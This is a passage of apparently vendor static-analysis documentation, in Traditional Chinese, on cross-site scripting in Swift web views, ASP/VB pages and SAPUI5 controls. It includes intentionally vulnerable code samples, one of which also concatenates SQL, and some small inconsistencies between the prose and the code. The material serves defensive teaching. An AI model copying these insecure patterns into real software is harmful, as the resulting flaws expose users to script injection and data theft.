[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.scala.cross_site_scripting_reflected
Abstract
這個方法會傳送未經驗證的資料到網路瀏覽器會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入網頁。在 Reflected XSS 案例中,不可信賴的來源通常為使用者元件、URL 架構處理常式或通知,而在 Persistent XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2. 在未對包含資料的動態內容進行驗證的情況下,便將其傳送至 WKWebView 元件。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下程式碼會讀取 UITextField 的內容,並在 WKWebView 中將其顯示給使用者:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


如果 inputTextField 中的文字只包含標準英數字元,這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼,那麼網路瀏覽器就會像顯示 HTTP 回應那樣,可能會將輸入當成程式碼來執行。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的裝置上提供會導致惡意程式碼執行的輸入?真正的危險在於攻擊者可能使用電子郵件或社交工程病毒誘騙受害者執行此類動作。當這樣的誘騙成功,受害者就在不知情的情況下,透過易受攻擊的 Web 應用程式,將惡意內容帶回他們自己的裝置。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 Swift 程式碼片段會讀取自訂 URL 架構的文字部分,其會被傳遞到應用程式 (myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。


func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}


Example 2 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 內容中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從使用者可控制的 UI 元件讀取資料,並在 HTTP 回應中傳回資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求,之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式,並會包含在動態內容中。

- 如 Example 3 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 ASP 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並向使用者顯示。


...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的 ASP 程式碼片段會在資料庫中查詢具有指定識別碼的員工,並列印相應的員工姓名。


...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.vb.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 SAPUI5 中,您可以透過延伸其他控制項來建立自訂控制項。由於這些控制項主要用於一般用途,因此開發人員應該將使用者控制的資料傳遞給至其屬性之一。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。如果是 SAPUI5 控制,惡意內容會作為控制項的一部分呈現。

在 SAPUI5 控制項中,惡意內容是以 JavaScript 片段,或瀏覽器執行的其他程式碼類型的形式出現。由於 SAPUI5 控制項應該被反覆地重複使用,因此應用程式的執行個體可能不會直接將惡意資料傳遞給控制項,但這應該被視為標準的 DOM 型 XSS 弱點。對應用程式程式碼的微小改變,都可能會導致傳遞惡意資訊。唯一的例外情況是當控制項不安全地動態產生 HTML 時,例如 sap.ui.core.HTML 控制項的 content 屬性。

範例 1:考慮自訂控制項:


sap.ui.define([
'sap/ui/core/Control'
], function (Control) {
return Control.extend('CustomControl', {
metadata: {
properties: {
foo: { type: 'string', defaultValue: '' }
}
},
renderer: {
render: function (oRm, oControl) {
oRm.write('<div>' + oControl.getId() + ':' + oControl.getFoo() + '</div>')
}
},
init: function () { }
})
})
foo 屬性可能會從應用程式的另一部分傳遞使用者控制的資料,這些資料會直接呈現給 DOM。

如果傳遞至 foo 屬性的資訊只包含標準英數字元文字,則此程式碼範例便會正確地運作。如果 foo 的值包含中繼字元或來源程式碼,則在轉譯此控制項後,程式碼會被新增至 DOM 供瀏覽器執行。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Cross-Site Scripting in SAPUI5-based Web Applications SAP
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
